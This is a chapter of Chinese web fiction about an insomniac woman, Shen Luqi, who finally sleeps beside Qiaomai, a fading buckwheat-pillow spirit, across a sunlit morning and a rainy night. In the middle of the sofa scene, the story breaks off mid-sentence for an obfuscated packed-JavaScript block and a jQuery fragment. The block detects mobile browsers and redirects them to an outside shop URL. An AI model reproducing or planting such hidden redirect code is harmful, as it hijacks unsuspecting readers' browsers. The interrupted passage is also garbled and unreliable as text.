阳光落在枕面上。
不是那种刺眼的白光，是穿过窗帘缝隙以后被磨软了的光，暖的，黄的，像被晒过的棉布的颜色。光从床头的方向斜着照进来，落在枕头的左半边，把布面上的纹路照得一条一条的，纤维和纤维之间的缝隙里塞着灰尘，在光里变成了金色的粉末。
沈鹿栖的睫毛动了一下。
不是猛地睁开。是睫毛先颤了两下，像蜻蜓点水，然后眼皮才慢慢抬起来。很慢。慢到眼球在眼皮底下转了一圈，才对准了焦距。
天花板。
白色的，有一道很浅的裂纹，从灯座的位置往墙角的方向延伸。她盯着那道裂纹看了三秒。
她睡着了。
这个念头像一块石头掉进了水里，扑通一声，水花溅起来，溅到了她身体的每一个角落。她的手指先动了，右手，食指和中指并拢，敲了一下床单。然后是左手。左手被什么东西压着。
她低头看了一眼。
荞麦趴在她身上。
脸埋在沈鹿栖的锁骨旁边，圆圆的，侧着，左脸贴着沈鹿栖的睡衣领口。眼睛闭着，睫毛很长，一根一根的，在颧骨上投下很密的阴影。嘴唇微微张着，嘴角有一点干裂的皮。她的呼吸很轻，气流从嘴唇的缝隙里漏出来，温的，碰到沈鹿栖锁骨上的皮肤，一小片一小片的暖。
她的脸上有水渍。
干了的。从眼角往下淌的痕迹，像蜗牛爬过的路，亮晶晶的，已经干透了，但纹路还在。左脸颊上有一道，右脸颊上有两道，下巴上有一道。水渍在阳光下发亮，像有人在她脸上画了几笔透明的线。
荞麦哭不出来。
沈鹿栖知道。荞麦身上会渗水珠，像枕头受潮，但她哭不出来。这些水渍不是眼泪。是昨天晚上渗出来的水珠干掉以后留下的痕迹。
她没有动。
她就那么躺着，看着天花板上那道裂纹，感觉到荞麦的体重压在她身上。很轻。比正常人轻。像一条毯子搭在身上，有重量，但不沉。荞麦的体温偏低，比正常人凉两度左右，隔着睡衣的布料，沈鹿栖能感觉到那个温度差。凉凉的，像夏天贴在胳膊上的玉。
阳光还在往床上爬。从枕头的左半边爬到右半边，爬过两个人叠在一起的影子，爬到荞麦的头发上。荞麦的头发是深棕色的，摸起来的质感介于头发和棉布之间。阳光落在上面，把深棕色照成了浅棕色，发梢的地方有一点毛躁，翘起来了，贴在沈鹿栖的下巴上，痒痒的。
沈鹿栖的嘴唇动了一下。
她想说什么。但嗓子是干的，咽了一下口水，口水也是干的，像吞了一粒沙。
她闭上眼睛，又睁开。
天花板上那道裂纹还在。
她睡着了。
三年。一千零九十六天。从母亲闭上眼睛的那个下午开始，她没有真正睡着过。她闭过眼，在荞麦的手心里闭过十二分钟。但那不是睡着。那是闭着眼睛没有弹起来。今天不一样。今天她的意识是断的。像一条路中间塌了一块，她走着走着，突然就掉下去了，掉进了一片很深很沉的黑暗里，没有梦，没有画面，没有"等一下"，什么都没有。
现在她从那片黑暗里爬上来了。
裂纹还在。天花板还在。阳光还在。
荞麦还在。
沈鹿栖的手指动了一下。左手。被荞麦压着的那只。她把手从荞麦身下抽出来，很慢，怕吵醒她。手指碰到荞麦的肩膀，肩膀是凉的，骨头的轮廓很明显，比以前更瘦了。
她把手放在荞麦的后背上。
荞麦的后背在呼吸。一起一伏，很慢，很轻。T恤是棉的，洗过很多次了，领口松了，从肩膀上滑下来一点。沈鹿栖的手掌贴着T恤的布料，感觉到布料底下荞麦的体温。凉的。比她的手凉。
她没有动。就那么放着。
阳光继续往床上爬。从荞麦的头发爬到荞麦的肩膀，又从肩膀爬到沈鹿栖的手背上。光越来越暖了，像一条很轻的毯子，盖在她们两个人身上。
荞麦动了一下。
很轻。她的头在沈鹿栖的锁骨旁边蹭了一下，像在找一个更舒服的位置。然后她的手也动了，右手，从沈鹿栖的腰上抬起来，搭在沈鹿栖的胸口上。手指松松地蜷着，指尖碰着睡衣的领口。
沈鹿栖感觉到那只手的温度。凉凉的。指腹上有很浅的纹路，以前很明显，摸上去像细密的织物纹理，一道一道的棱，指肚划过去能感觉到。现在那些纹路已经很浅了，快要看不见了，只剩下一点凹凸的痕迹。
但还在。
她的手指还在。她的手还在。她还在。
荞麦的眼皮动了。
不是慢慢睁开。是睫毛先颤了一下，然后眼皮往上抬了一点，又落下来，又抬了一点，像一扇很重的门在被人从里面推开。
她的眼睛亮了。
圆圆的，瞳仁很大，棕色的，像两颗刚从水里捞出来的石子。眼睛里有沈鹿栖的倒影，很小，很模糊，但能看出来是一个人的轮廓。
荞麦看着沈鹿栖。
看了三秒。
然后她的眉头皱了一下。很轻，像在想一个想不起来的词。
"你叫什么名字？"
沈鹿栖的喉咙动了一下。
她没有犹豫。没有停顿。没有掐掌心，没有揉耳垂，没有把衣角卷起来又展开。
"沈鹿栖。"
荞麦的眉头松开了。
嘴角往上弯了一点。梨涡浅浅的，在左脸颊上凹下去一小块。她的笑容很轻，像水面上的涟漪，荡了一下，就停了。
"对，沈鹿栖。"
她的手指在沈鹿栖的胸口上动了一下，指尖碰着领口的布料，轻轻勾了一下。
"我记得你。"
沈鹿栖的鼻腔酸了一下。
她没有哭。她已经很久没有哭过了。上次哭是荞麦说"你闭上眼睛的时候，我帮你看着"的时候。那之后就没有了。她的眼泪像一口干涸的井，底下的水没有了，只剩泥巴和石头。
但鼻腔是酸的。像有什么东西在里面膨胀，堵住了呼吸的通道。她咽了一下口水，口水是咸的。
"嗯。"她说。
荞麦笑了。这次笑得比刚才大一点，梨涡深了一点，眼睛弯了，眼角挤出两道细细的纹路。她的脸上还有昨天晚上水渍干掉的痕迹，在阳光下发亮，像蜗牛爬过的路。
她从沈鹿栖身上翻下来，翻到旁边，仰面躺着。头发散在枕头上，有几缕翘着，贴在枕面上。她的手还搭在沈鹿栖的胸口上，没有收回去。
阳光照在枕面上。
两朵花并排。
左边那朵是旧的。颜色已经褪成了淡灰色，花瓣的轮廓还在，但线的颜色没了，只剩凹凸的痕迹，像一条干涸了的河，河床还在，水没了。针脚歪歪扭扭的，是六百年前一个失眠的绣娘在一盏油灯底下绣的，手在抖，针脚不匀，但每一针都用了力气。
右边那朵是新的。颜色是深红色的，线是新的，布面是旧的。针脚比旧花还歪，花瓣和花瓣之间的间距不均匀，有的挤在一起，有的隔得很开。花茎弯了，像一根被风吹过的草。花心上有一个暗红色的圆点，不是线绣的，是一滴血渗进布面以后留下的。
两朵花。一新一旧。一深一浅。
阳光照在上面，把两朵花的影子叠在一起。影子的边缘模糊了，旧花的灰色和新花的红色混在一起，分不出哪朵是哪朵。像一朵。
荞麦伸出手指，碰了碰新花的花瓣。
她的指尖沿着针脚的轮廓划了一圈，从第一片花瓣划到最后一片花瓣，划得很慢，像在读什么东西。然后她的手指停在花心上，停在那个暗红色的圆点上，按了一下，很轻。
"两朵了。"她说。
沈鹿栖看着她。
荞麦的手指还停在花心上。她的指腹压着那个暗红色的圆点，圆点的边缘已经渗进了布面的纤维里，和六百年的灰尘混在一起，变成了一个很小的、很旧的、很深的印记。
"以前只有一朵。"荞麦说。"现在有两朵了。"
她的声音很轻，像在说一个只有她们两个人能听到的秘密。
沈鹿栖没有说话。她的手还放在荞麦的后背上，手掌贴着T恤的布料，感觉到布料底下荞麦的体温。凉的。比她的手凉两度。
"两朵了。"荞麦又说了一遍。
第三遍。
她的手指从花心上收回来，放在自己的胸口上，掌心朝下，按了一下。
"我好像……想起来了一点。"她说。
沈鹿栖的呼吸停了一下。
"想起什么？"
"想起有人在我身上绣了一朵花。"荞麦的指尖在自己胸口上画了一个很小的圈。"很久以前的。那个人手在抖。针脚是歪的。"
她顿了顿。
"然后又有人绣了一朵。"
她的嘴角弯了一下。
"针脚也是歪的。"
沈鹿栖没有说话。她的嘴唇动了一下，想说什么，但没有说出来。她的手指在荞麦的后背上停住了，掌心贴着布料，感觉到布料底下荞麦的呼吸，一起一伏，很慢，很轻。
窗外有声音。
鸟叫。很远的，一声一声的，间隔很长，像在数什么东西。然后是楼下有人在说话，声音闷闷的，听不清在说什么，只有音调的起伏。再然后是一辆车经过，轮胎压在柏油路上的声音，低沉的，连续的，像什么东西在地底下滚。
沈鹿栖听着这些声音。
她已经很久没有在白天听到这些声音了。以前她白天睡觉，晚上醒着。白天的声音对她来说是背景噪音，是需要忽略的东西。现在这些声音钻进她的耳朵里，一个一个的，很清楚，像刚被擦干净的玻璃窗。
荞麦在她旁边躺着，眼睛看着天花板，手指在胸口上画圈。
"沈鹿栖。"
"嗯。"
"你今天上不上班？"
沈鹿栖想了想。
"不上。"
"为什么？"
"陪你。"
荞麦的嘴角又弯了一下。这次弯的幅度比刚才大，梨涡深了一点，眼睛亮了一点。
她没有说话。她把自己往沈鹿栖的方向挪了挪，直到她的肩膀贴上沈鹿栖的肩膀。然后她把手从自己胸口上收回来，搭在沈鹿栖的手背上。
两只手叠在一起。
沈鹿栖的手在下面，荞麦的手在上面。沈鹿栖的手是温的，荞麦的手是凉的。荞麦的手指比沈鹿栖的短一点，指甲盖上有细密的纹路，像织物的纹理。指缝间有很浅的凹凸，以前很明显，现在快要看不见了。
但还在。
阳光照在两只手上。光从窗帘的缝隙里涌进来，把整个床都洗了一遍。枕面上的两朵花在光里变得更清楚了，旧花的灰色和新花的红色，一深一浅，一旧一新。
沈鹿栖闭上眼睛。
这一次，她闭得很慢。不是猛地闭上，是眼皮慢慢往下落，像一扇很轻的门被人从外面关上。睫毛碰到一起的时候，她感觉到荞麦的手在她手背上动了一下，指尖轻轻勾了一下她的指缝。
黑暗里没有窗帘。
没有母亲闭上眼睛的画面。没有"等一下"。没有心电监护仪的滴滴声变成一条直线。
只有荞麦的手。凉凉的，比正常人低两度。指缝间的织物纹路蹭着她的手背，很轻，像布料被风吹动。
她又睁开了。
天花板上那道裂纹还在。阳光还在。荞麦还在。
---
傍晚的时候，温辞发了一条消息过来。
"你今天没来上班？"
沈鹿栖坐在沙发上，手机屏幕的光落在她脸上。荞麦在她旁边坐着，盘着腿，两只手放在膝盖上，头一点一点的，在犯困。
她打了两个字："请假。"
温辞秒回："你从来不请假。"
沈鹿栖没有回复。她把手机扣在茶几上，屏幕朝下。
茶几的角落，怀表的壳安静地待着。铜壳旧了，边角被磨得发亮。表盖合着，链子盘在旁边。不再走动，不再嘀嗒，不再嗡鸣。但壳还在。
荞麦的头靠在了沈鹿栖的肩膀上。
很轻。像一片叶子落在肩膀上，有重量，但不沉。她的头发蹭着沈鹿栖的脖子，痒痒的，质感介于头发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17937658|211004||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
和棉布之间。她的呼吸变慢了，从沈鹿栖的肩膀旁边漏出来，温的，湿的。
她睡着了。
沈鹿栖没有动。她感觉到荞麦的体温从肩膀上传过来，凉凉的，比她的体温低两度。荞麦的手还搭在她手背上，指缝间的纹路已经很浅了，快要看不见了。
但还在。
窗外的光在变。太阳从西边往下走，客厅里的光从暖黄色变成了橘红色，又从橘红色变成了灰蓝色。影子从地板上往墙上爬，爬过沙发的扶手，爬过茶几的边沿，爬过怀表壳的铜光。
沈鹿栖看着窗外。
天黑了。
---
凌晨三点。
沈鹿栖醒了。
不是猛地睁开。是慢慢醒的，像从水底浮上来，一层一层的，先是意识，然后是身体的感觉，然后是声音。
窗外在下雨。
雨不大。是很细的那种雨，像雾一样，落在窗玻璃上没有声音，但能看到水珠在玻璃上慢慢往下滑，滑出一条一条弯弯曲曲的路。路灯的光从窗帘缝隙里漏进来，被雨水折射了，变成一条抖动的光带，落在地板上。
空气湿度很高。
沈鹿栖能感觉到。空气是潮的，像一块湿毛巾搭在脸上，皮肤表面有一层薄薄的水汽。床单也潮了，贴在后背上，凉凉的。
她翻了个身。
荞麦在她旁边。
侧躺着，脸朝着沈鹿栖的方向，膝盖蜷着，两只手缩在胸口前面，像一只冬眠的动物。她的呼吸很轻，气流从嘴唇的缝隙里漏出来，碰到沈鹿栖的脸颊，一小片一小片的暖。
她犯困了。
空气湿度高的时候，荞麦就会犯困。因为空气里的水分会影响荞麦皮的状态，让它们变得松软，变得沉重，变得想要闭上眼睛。她自己不知道为什么。她只知道自己在下雨天特别想睡觉。
但她没有睡。
沈鹿栖看着她。路灯的光从窗帘缝隙里漏进来，落在荞麦的脸上，把她的轮廓照得很柔和。圆圆的脸，梨涡浅浅的，睫毛很长，一根一根的，在颧骨上投下很密的阴影。嘴唇微微张着，呼吸从嘴唇的缝隙里漏出来。
她的脸上没有水渍了。昨天的水渍已经干透了，被床单蹭掉了。但她的皮肤上有一层很薄的水汽，是空气里的潮气凝在上面的，像露水。
沈鹿栖伸出手，碰了碰荞麦的脸颊。
凉凉的。皮肤偏暖，但体温偏低。她的手指在荞麦的脸颊上停了一下，感觉到皮肤底下很轻的脉搏，一下一下的，很慢，很稳。
荞麦没有醒。
她的呼吸还是那个频率，很轻，很稳。气流从嘴唇的缝隙里漏出来，碰到沈鹿栖的手指，一小片一小片的暖。
沈鹿栖把手收回来。
她翻了个身，仰面躺着，看着天花板。天花板上那道裂纹在黑暗里看不见了，只有路灯的光从窗帘缝隙里漏进来，落在天花板上，一条抖动的光带。
她的枕头是荞麦的本体。
枕面上的两朵花在黑暗里看不见了。但她能感觉到。旧花的针脚凸起来，一针一针的，像盲文，脸颊贴上去能感觉到那些凹凸。新花的针脚更凸，因为线是新的，布面是旧的，新线在旧布上鼓起来，像一条一条的小路。
她的脸颊贴着枕面，闻到一股很淡的气味。
荞麦壳。
淡淡的，洗不掉的，像阳光晒过的棉布的味道。母亲说过，"晒过的枕头闻起来像太阳。"不是太阳的味道。是荞麦壳的气味。三代人的气味，叠在同一类枕头上。
外婆的枕头。母亲的枕头。她的枕头。
沈鹿栖闭上眼睛。
黑暗里没有窗帘。没有母亲闭上眼睛的画面。没有"等一下"。只有荞麦壳的气味，淡淡的，暖暖的，像有人在很远的地方晒了一床被子。
她的呼吸变慢了。
像一条河终于流进了大海。河面变宽了，流速变慢了，水变得很深很沉。她的身体在往下沉，沉进枕头里，沉进荞麦壳的气味里，沉进那片很深很沉的黑暗里。
她睡着了。
荞麦醒了。
她不知道自己是什么时候醒的。她只知道自己睁开了眼睛，看到了天花板，看到了路灯的光从窗帘缝隙里漏进来，落在天花板上，一条抖动的光带。
然后她听到了沈鹿栖的呼吸声。
很轻。很稳。从旁边传过来，一进一出，像一条很沉的河在流。
她转过头。
沈鹿栖在她旁边。仰面躺着，眼睛闭着，嘴唇微微张着，呼吸从嘴唇的缝隙里漏出来。她的脸在路灯的光里变得很柔和，颧骨下方那道青色的阴影还在，但不那么深了。眉心那条浅浅的竖纹也平了，舒展开了。
她睡着了。
荞麦看着她。
看了很久。
她已经不太记得"失眠"是什么意思了。她只知道眼前这个人睡着了，呼吸很轻，像一条终于流进大海的河。她能感觉到沈鹿栖的体温从旁边传过来，温的，比她的手暖两度。她能听到窗外的雨声，很细的，落在窗玻璃上没有声音，但能看到水珠在玻璃上慢慢往下滑。
她能闻到荞麦壳的气味。
淡淡的，从枕面上飘上来，和沈鹿栖的洗发水味混在一起，变成了一种她不认识的味道。不是她的味道，也不是沈鹿栖的味道。是她们两个人的味道混在一起以后变成的新的味道。
她低下头。
嘴唇凑近沈鹿栖的耳朵。很近。近到能感觉到沈鹿栖的呼吸从耳朵旁边经过，温的，湿的。
她不知道自己为什么要说这句话。但她的身体记得。像有什么东西从很深的地方浮上来，浮到嗓子眼，变成了声音。
"等你睡着。"
四个字。很轻。比雨声还轻。
她没有说完。后面还有。她知道后面还有。但她不记得是什么了。那个区域又是空白的，被擦掉的，她知道那里有东西，但她不知道那是什么。
没关系。
她坐直了身体。
窗外在下雨。空气湿度很高。荞麦犯困了。
她没有睡。
她帮沈鹿栖醒着。